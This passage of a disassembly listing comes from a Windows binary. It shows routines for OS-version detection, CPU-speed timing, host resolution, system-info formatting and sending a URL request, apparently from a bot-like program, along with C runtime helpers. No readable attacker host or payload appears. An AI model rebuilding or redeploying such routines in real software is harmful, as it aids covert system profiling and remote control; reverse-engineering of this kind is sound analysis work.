loc_41A987 cmp [ebp+var_90], 4 jnz short loc_41A95D cmp [ebp+var_8C], esi jnz short loc_41A945 cmp [ebp+var_84], 1 jnz short loc_41A938 push 1 pop esi loc_41A938: ; CODE XREF: sub_41A8F4+3Fj cmp [ebp+var_84], 2 jnz short loc_41A987 push 1 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A945: ; CODE XREF: sub_41A8F4+36j cmp [ebp+var_8C], 0Ah jnz short loc_41A952 loc_41A94E: ; CODE XREF: sub_41A8F4+78j push 2 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A952: ; CODE XREF: sub_41A8F4+58j cmp [ebp+var_8C], 5Ah jnz short loc_41A987 jmp short loc_41A977 ; --------------------------------------------------------------------------- loc_41A95D: ; CODE XREF: sub_41A8F4+2Ej cmp [ebp+var_90], 5 jnz short loc_41A987 cmp [ebp+var_8C], esi jz short loc_41A94E cmp [ebp+var_8C], 1 jnz short loc_41A97B loc_41A977: ; CODE XREF: sub_41A8F4+67j push 3 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A97B: ; CODE XREF: sub_41A8F4+81j cmp [ebp+var_8C], 2 jnz short loc_41A987 push 7 loc_41A986: ; CODE XREF: sub_41A8F4+4Fj ; sub_41A8F4+5Cj ... pop esi loc_41A987: ; CODE XREF: sub_41A8F4+25j ; sub_41A8F4+4Bj ... mov eax, esi pop esi leave retn sub_41A8F4 endp ; =============== S U B R O U T I N E ======================================= sub_41A98C proc near ; CODE XREF: sub_41AA42+290p push ebx push esi push edi mov esi, 0F4240h loc_41A994: ; CODE XREF: sub_41A98C+2Fj ; sub_41A98C+35j rdtsc push 3E8h mov edi, edx mov ebx, eax nop call near ptr 2670ECEh rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_41D410 mov edi, edx mov ebx, eax test edi, edi ja short loc_41A994 jb short loc_41A9C3 cmp ebx, esi ja short loc_41A994 loc_41A9C3: ; CODE XREF: sub_41A98C+31j push 0 push 64h push edi push ebx call sub_41D480 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_41AA36 jb short loc_41A9E2 cmp esi, 50h jnb short loc_41A9E7 loc_41A9E2: ; CODE XREF: sub_41A98C+4Fj push 4Bh xor edx, edx pop eax loc_41A9E7: ; CODE XREF: sub_41A98C+54j test ecx, ecx ja short loc_41AA36 jb short loc_41A9F2 cmp esi, 47h jnb short loc_41A9F7 loc_41A9F2: ; CODE XREF: sub_41A98C+5Fj push 42h xor edx, edx pop eax loc_41A9F7: ; CODE XREF: sub_41A98C+64j test ecx, ecx ja short loc_41AA36 jb short loc_41AA02 cmp esi, 37h jnb short loc_41AA07 loc_41AA02: ; CODE XREF: sub_41A98C+6Fj push 32h xor edx, edx pop eax loc_41AA07: ; CODE XREF: sub_41A98C+74j test ecx, ecx ja short loc_41AA36 jb short loc_41AA12 cmp esi, 26h jnb short loc_41AA17 loc_41AA12: ; CODE XREF: sub_41A98C+7Fj push 21h xor edx, edx pop eax loc_41AA17: ; CODE XREF: sub_41A98C+84j test ecx, ecx ja short loc_41AA36 jb short loc_41AA22 cmp esi, 1Eh jnb short loc_41AA27 loc_41AA22: ; CODE XREF: sub_41A98C+8Fj push 19h xor edx, edx pop eax loc_41AA27: ; CODE XREF: sub_41A98C+94j test ecx, ecx ja short loc_41AA36 jb short loc_41AA32 cmp esi, 0Ah jnb short loc_41AA36 loc_41AA32: ; CODE XREF: sub_41A98C+9Fj xor eax, eax xor edx, edx loc_41AA36: ; CODE XREF: sub_41A98C+4Dj ; sub_41A98C+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_41A98C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AA42 proc near ; CODE XREF: sub_401ACD+276Ep var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset dword_43D158 mov [ebp+var_CC], 94h nop call near ptr 26D0497h xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_41AAC9 cmp [ebp+var_C4], ebx jnz short loc_41AAA5 cmp [ebp+var_BC], 1 jnz short loc_41AA8F mov [ebp+var_4], offset dword_4312AC loc_41AA8F: ; CODE XREF: sub_41AA42+44j cmp [ebp+var_BC], 2 jnz loc_41AB44 mov [ebp+var_4], offset dword_4312A8 jmp short loc_41AB15 ; --------------------------------------------------------------------------- loc_41AAA5: ; CODE XREF: sub_41AA42+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_41AAB7 mov [ebp+var_4], offset dword_4312A4 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAB7: ; CODE XREF: sub_41AA42+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_41AB05 mov [ebp+var_4], offset dword_4312A0 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAC9: ; CODE XREF: sub_41AA42+33j cmp [ebp+var_C8], 5 jnz short loc_41AB05 cmp [ebp+var_C4], ebx jnz short loc_41AAE3 mov [ebp+var_4], offset dword_43129C jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAE3: ; CODE XREF: sub_41AA42+96j cmp [ebp+var_C4], 1 jnz short loc_41AAF5 mov [ebp+var_4], offset dword_431298 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAF5: ; CODE XREF: sub_41AA42+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_41AB0C loc_41AB05: ; CODE XREF: sub_41AA42+7Cj ; sub_41AA42+8Ej mov [ebp+var_4], offset dword_431290 loc_41AB0C: ; CODE XREF: sub_41AA42+73j ; sub_41AA42+85j ... cmp [ebp+var_BC], 2 jnz short loc_41AB44 loc_41AB15: ; CODE XREF: sub_41AA42+61j cmp [ebp+var_B8], bl jz short loc_41AB44 lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset aSS_1 ; "%s (%s)" push eax call sub_41B886 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_41AB44: ; CODE XREF: sub_41AA42+54j ; sub_41AA42+D1j ... mov ax, word_437864 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_4CAE84 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_41AB7D lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax loc_41AB7D: ; CODE XREF: sub_41AA42+12Cj push [ebp+arg_4] call sub_40AC0F pop ecx push eax call dword_4CAFE4 mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4CAF5C cmp eax, ebx jz short loc_41ABA6 push dword ptr [eax] jmp short loc_41ABAB ; --------------------------------------------------------------------------- loc_41ABA6: ; CODE XREF: sub_41AA42+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_41ABAB: ; CODE XREF: sub_41AA42+162j lea eax, [ebp+var_3E4] push eax call sub_41B886 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax nop call near ptr 2670A39h lea eax, [ebp+var_114] push 46h push eax push offset dword_43A13C push ebx mov esi, 409h push ebx push esi nop call near ptr 2740000h lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi nop call near ptr 2730000h push 20h lea eax, [ebp+var_38] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_38] push eax nop call near ptr 2840000h push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_41B9D1 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_416A32 push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_41A88B add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AC0F pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_416922 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_416922 pop ecx pop ecx push eax call sub_41A98C push edx push eax push offset dword_43A060 push 200h push [ebp+arg_0] call sub_41B980 mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_41AA42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ACF6 proc near ; CODE XREF: sub_401ACD+279Cp ; sub_401ACD+72F5p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_41B590 add esp, 0Ch cmp dword_4CB08C, 0 jnz short loc_41AD62 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_4CAE68 test eax, eax jnz short loc_41AD4B lea eax, [ebp+var_8C] push offset dword_43A1C4 push eax call sub_41B886 pop ecx pop ecx loc_41AD4B: ; CODE XREF: sub_41ACF6+40j test [ebp+var_C], 1 jz short loc_41AD58 push offset dword_43A1BC jmp short loc_41AD5D ; --------------------------------------------------------------------------- loc_41AD58: ; CODE XREF: sub_41ACF6+59j push offset off_43A1B8 loc_41AD5D: ; CODE XREF: sub_41ACF6+60j lea eax, [ebp+var_8] jmp short loc_41AD7A ; --------------------------------------------------------------------------- loc_41AD62: ; CODE XREF: sub_41ACF6+28j mov esi, offset off_43A1B4 lea eax, [ebp+var_8] push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_8C] pop ecx push esi loc_41AD7A: ; CODE XREF: sub_41ACF6+6Aj push eax call sub_41B886 pop ecx pop ecx push [ebp+arg_4] push [ebp+arg_8] call sub_40AC0F pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset dword_43A170 push 200h push [ebp+arg_0] call sub_41B980 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_41ACF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ADB5 proc near ; DATA XREF: sub_401ACD+7714o var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_43A2A4 call sub_41B590 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_41B590 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_41B590 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_41B590 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_41B590 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_4CAEA0 test eax, eax jz loc_41AF4F cmp [ebp+var_34], ebx jbe short loc_41AE8C push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_41B5F0 add esp, 0Ch loc_41AE8C: ; CODE XREF: sub_41ADB5+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_41AEAA push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_41B5F0 add esp, 0Ch loc_41AEAA: ; CODE XREF: sub_41ADB5+DEj cmp [ebp+var_20], ebx jbe short loc_41AEC4 push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_41B5F0 add esp, 0Ch loc_41AEC4: ; CODE XREF: sub_41ADB5+F8j cmp [ebp+var_18], ebx jbe short loc_41AEDE push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_41B5F0 add esp, 0Ch loc_41AEDE: ; CODE XREF: sub_41ADB5+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_4CAF54 call dword_4CAF78 mov esi, eax cmp esi, ebx jz short loc_41AF67 push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_4CAF6C cmp eax, ebx mov [ebp+var_4], eax jz short loc_41AF6E push ebx push ebx push ebx push ebx push eax call dword_4CAF18 test eax, eax jz short loc_41AF48 push offset dword_43A288 jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF48: ; CODE XREF: sub_41ADB5+18Aj push offset unk_43A24C jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF4F: ; CODE XREF: sub_41ADB5+B7j lea eax, [ebp+var_55C] push offset dword_43A230 push eax call sub_41B886 mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_41AF81 ; --------------------------------------------------------------------------- loc_41AF67: ; CODE XREF: sub_41ADB5+153j push offset unk_43A204 jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF6E: ; CODE XREF: sub_41ADB5+17Bj push offset unk_43A1D4 loc_41AF73: ; CODE XREF: sub_41ADB5+191j ; sub_41ADB5+198j ... lea eax, [ebp+var_55C] push eax call sub_41B886 pop ecx pop ecx loc_41AF81: ; CODE XREF: sub_41ADB5+1B0j cmp [ebp+var_1D4], ebx jnz short loc_41AFAC push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_409A72 add esp, 14h loc_41AFAC: ; CODE XREF: sub_41ADB5+1D2j lea eax, [ebp+var_55C] push eax call sub_4151AC pop ecx push esi call dword_4CAFD8 push [ebp+var_4] call dword_4CAFD8 push [ebp+var_1D8] call sub_40B412 pop ecx push ebx nop call near ptr 26E0000h pop edi pop esi pop ebx int 3 ; Trap to Debugger sub_41ADB5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41AFE0 proc near ; CODE XREF: sub_401000+34p ; ___:0040136Ep ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_41B000 loc_41AFEC: ; CODE XREF: sub_41AFE0+19j mov al, [ecx] inc ecx test al, al jz short loc_41B033 test ecx, 3 jnz short loc_41AFEC add eax, 0 loc_41B000: ; CODE XREF: sub_41AFE0+Aj ; sub_41AFE0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41B000 mov eax, [ecx-4] test al, al jz short loc_41B051 test ah, ah jz short loc_41B047 test eax, 0FF0000h jz short loc_41B03D test eax, 0FF000000h jz short loc_41B033 jmp short loc_41B000 ; --------------------------------------------------------------------------- loc_41B033: ; CODE XREF: sub_41AFE0+11j ; sub_41AFE0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B03D: ; CODE XREF: sub_41AFE0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B047: ; CODE XREF: sub_41AFE0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B051: ; CODE XREF: sub_41AFE0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_41AFE0 endp ; =============== S U B R O U T I N E ======================================= sub_41B05B proc near ; CODE XREF: sub_4010AB+64p ; sub_401ACD+58DAp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_41B070 or eax, 0FFFFFFFFh jmp short loc_41B0AA ; --------------------------------------------------------------------------- loc_41B070: ; CODE XREF: sub_41B05B+Ej test al, 83h jz short loc_41B0A8 push esi call sub_41DB8B push esi mov edi, eax call sub_41DB25 push dword ptr [esi+10h] call sub_41DA72 add esp, 0Ch test eax, eax jge short loc_41B096 or edi, 0FFFFFFFFh jmp short loc_41B0A8 ; --------------------------------------------------------------------------- loc_41B096: ; CODE XREF: sub_41B05B+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41B0A8 push eax call sub_41B0B1 and dword ptr [esi+1Ch], 0 pop ecx loc_41B0A8: ; CODE XREF: sub_41B05B+17j ; sub_41B05B+39j ... mov eax, edi loc_41B0AA: ; CODE XREF: sub_41B05B+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_41B05B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B0B1 proc near ; CODE XREF: sub_4010AB+5Ep ; sub_40AB31+B1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_41B117 mov eax, dword_4DC948 cmp eax, 3 jnz short loc_41B0DD push esi call sub_41DE77 pop ecx test eax, eax push esi jz short loc_41B109 push eax call sub_41DEA2 pop ecx pop ecx jmp short loc_41B117 ; --------------------------------------------------------------------------- loc_41B0DD: ; CODE XREF: sub_41B0B1+14j cmp eax, 2 jnz short loc_41B108 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_41EBD2 add esp, 0Ch test eax, eax jz short loc_41B108 push eax push [ebp+arg_0] push [ebp+var_4] call sub_41EC29 add esp, 0Ch jmp short loc_41B117 ; --------------------------------------------------------------------------- loc_41B108: ; CODE XREF: sub_41B0B1+2Fj ; sub_41B0B1+44j push esi loc_41B109: ; CODE XREF: sub_41B0B1+20j push 0 push dword_4DC944 nop call near ptr 27B0000h loc_41B117: ; CODE XREF: sub_41B0B1+Aj ; sub_41B0B1+2Aj ... pop esi leave retn sub_41B0B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B11A proc near ; CODE XREF: sub_4010AB+45p ; ___:0040F089p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_41B13E xor eax, eax jmp loc_41B1E7 ; --------------------------------------------------------------------------- loc_41B13E: ; CODE XREF: sub_41B11A+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41B151 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41B15D ; --------------------------------------------------------------------------- loc_41B151: ; CODE XREF: sub_41B11A+2Dj mov [ebp+arg_C], 1000h jmp short loc_41B15D ; --------------------------------------------------------------------------- loc_41B15A: ; CODE XREF: sub_41B11A+C4j mov ecx, [ebp+arg_0] loc_41B15D: ; CODE XREF: sub_41B11A+35j ; sub_41B11A+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_41B18F mov eax, [esi+4] test eax, eax jz short loc_41B18F cmp ecx, eax mov edi, ecx jb short loc_41B174 mov edi, eax loc_41B174: ; CODE XREF: sub_41B11A+56j push edi push dword ptr [esi] push ebx call sub_41C310 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_41B1DA ; --------------------------------------------------------------------------- loc_41B18F: ; CODE XREF: sub_41B11A+49j ; sub_41B11A+50j cmp ecx, [ebp+arg_C] jb short loc_41B1C2 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_41B1A5 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_41B1A5: ; CODE XREF: sub_41B11A+80j push eax push ebx push dword ptr [esi+10h] call sub_41F11C add esp, 0Ch test eax, eax jz short loc_41B1EC cmp eax, 0FFFFFFFFh jz short loc_41B1F2 sub [ebp+arg_0], eax add ebx, eax jmp short loc_41B1DA ; --------------------------------------------------------------------------- loc_41B1C2: ; CODE XREF: sub_41B11A+78j push esi call sub_41F043 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41B1F6 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_41B1DA: ; CODE XREF: sub_41B11A+73j ; sub_41B11A+A6j cmp [ebp+arg_0], 0 jnz loc_41B15A mov eax, [ebp+arg_8] loc_41B1E7: ; CODE XREF: sub_41B11A+1Fj ; sub_41B11A+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41B1EC: ; CODE XREF: sub_41B11A+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_41B1F6 ; --------------------------------------------------------------------------- loc_41B1F2: ; CODE XREF: sub_41B11A+9Fj or dword ptr [esi+0Ch], 20h loc_41B1F6: ; CODE XREF: sub_41B11A+B2j ; sub_41B11A+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_41B1E7 sub_41B11A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B202 proc near ; CODE XREF: sub_4010AB+2Ep ; sub_41CFD3+35p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_41B21D push [ebp+arg_4] call sub_41B4D5 pop ecx jmp loc_41B49D ; --------------------------------------------------------------------------- loc_41B21D: ; CODE XREF: sub_41B202+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_41B232 push [ebp+arg_0] call sub_41B0B1 pop ecx jmp loc_41B49B ; --------------------------------------------------------------------------- loc_41B232: ; CODE XREF: sub_41B202+20j mov eax, dword_4DC948 cmp eax, 3 jnz loc_41B342 loc_41B240: ; CODE XREF: sub_41B202+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41B31E push [ebp+arg_0] call sub_41DE77 mov ebx, eax pop ecx test ebx, ebx jz loc_41B2F9 cmp esi, dword_4DC940 ja short loc_41B2B2 mov edi, [ebp+arg_0] push esi push edi push ebx call sub_41E680 add esp, 0Ch test eax, eax jnz short loc_41B2AE push esi call sub_41E1CB mov edi, eax pop ecx test edi, edi jz short loc_41B2B2 mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41B292 mov eax, esi loc_41B292: ; CODE XREF: sub_41B202+8Cj push eax push ebx push edi call sub_41C310 push ebx call sub_41DE77 push [ebp+arg_0] mov ebx, eax push ebx call sub_41DEA2 add esp, 18h loc_41B2AE: ; CODE XREF: sub_41B202+74j test edi, edi jnz short loc_41B2F5 loc_41B2B2: ; CODE XREF: sub_41B202+62j ; sub_41B202+81j test esi, esi jnz short loc_41B2B9 push 1 pop esi loc_41B2B9: ; CODE XREF: sub_41B202+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4DC944 nop call near ptr 27C0000h mov edi, eax test edi, edi jz short loc_41B2F5 mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41B2E1 mov eax, esi loc_41B2E1: ; CODE XREF: sub_41B202+DBj push eax push ecx push edi call sub_41C310 push [ebp+arg_0] push ebx call sub_41DEA2 add esp, 14h loc_41B2F5: ; CODE XREF: sub_41B202+AEj ; sub_41B202+D0j test ebx, ebx jnz short loc_41B31A loc_41B2F9: ; CODE XREF: sub_41B202+56j test esi, esi jnz short loc_41B300 push 1 pop esi loc_41B300: ; CODE XREF: sub_41B202+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DC944 nop call near ptr 2850000h mov edi, eax loc_41B31A: ; CODE XREF: sub_41B202+F5j test edi, edi jnz short loc_41B33B loc_41B31E: ; CODE XREF: sub_41B202+43j cmp dword_4DB32C, 0 jz short loc_41B33B push esi call sub_41F312 test eax, eax pop ecx jnz loc_41B240 jmp loc_41B49B ; --------------------------------------------------------------------------- loc_41B33B: ; CODE XREF: sub_41B202+11Aj ; sub_41B202+123j ... mov eax, edi jmp loc_41B49D ; --------------------------------------------------------------------------- loc_41B342: ; CODE XREF: sub_41B202+38j cmp eax, 2 jnz loc_41B45D cmp esi, 0FFFFFFE0h ja short loc_41B35F test esi, esi jbe short loc_41B35C add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_41B35F ; --------------------------------------------------------------------------- loc_41B35C: ; CODE XREF: sub_41B202+150j push 10h pop esi loc_41B35F: ; CODE XREF: sub_41B202+14Cj ; sub_41B202+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41B43F lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41EBD2 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_41B423 cmp esi, dword_43C324 jnb short loc_41B3E7 mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EF9A add esp, 10h test eax, eax jz short loc_41B3AD mov edi, [ebp+arg_0] jmp short loc_41B3DF ; --------------------------------------------------------------------------- loc_41B3AD: ; CODE XREF: sub_41B202+1A4j push edi call sub_41EC6E mov edi, eax pop ecx test edi, edi jz short loc_41B3E7 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41B3C6 mov eax, esi loc_41B3C6: ; CODE XREF: sub_41B202+1C0j push eax push [ebp+arg_0] push edi call sub_41C310 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EC29 add esp, 18h loc_41B3DF: ; CODE XREF: sub_41B202+1A9j test edi, edi jnz loc_41B33B loc_41B3E7: ; CODE XREF: sub_41B202+18Bj ; sub_41B202+1B6j push esi push 0 push dword_4DC944 nop call near ptr 27C0000h mov edi, eax test edi, edi jz short loc_41B43F movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41B408 mov eax, esi loc_41B408: ; CODE XREF: sub_41B202+202j push eax push [ebp+arg_0] push edi call sub_41C310 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EC29 add esp, 18h jmp short loc_41B437 ; --------------------------------------------------------------------------- loc_41B423: ; CODE XREF: sub_41B202+17Fj push esi push [ebp+arg_0] push 0 push dword_4DC944 nop call near ptr 2850000h mov edi, eax loc_41B437: ; CODE XREF: sub_41B202+21Fj test edi, edi jnz loc_41B33B loc_41B43F: ; CODE XREF: sub_41B202+162j ; sub_41B202+1F8j cmp dword_4DB32C, 0 jz loc_41B33B push esi call sub_41F312 test eax, eax pop ecx jnz loc_41B35F jmp short loc_41B49B ; --------------------------------------------------------------------------- loc_41B45D: ; CODE XREF: sub_41B202+143j ; sub_41B202+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_41B487 test esi, esi jnz short loc_41B46B push 1 pop esi loc_41B46B: ; CODE XREF: sub_41B202+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DC944 nop call near ptr 2850000h test eax, eax jnz short loc_41B49D loc_41B487: ; CODE XREF: sub_41B202+260j cmp dword_4DB32C, 0 jz short loc_41B49D push esi call sub_41F312 test eax, eax pop ecx jnz short loc_41B45D loc_41B49B: ; CODE XREF: sub_41B202+2Bj ; sub_41B202+134j ... xor eax, eax loc_41B49D: ; CODE XREF: sub_41B202+16j ; sub_41B202+13Bj ... pop edi pop esi pop ebx leave retn sub_41B202 endp ; =============== S U B R O U T I N E ======================================= sub_41B4A2 proc near ; CODE XREF: sub_41B4C2+Ap arg_0 = dword ptr 4 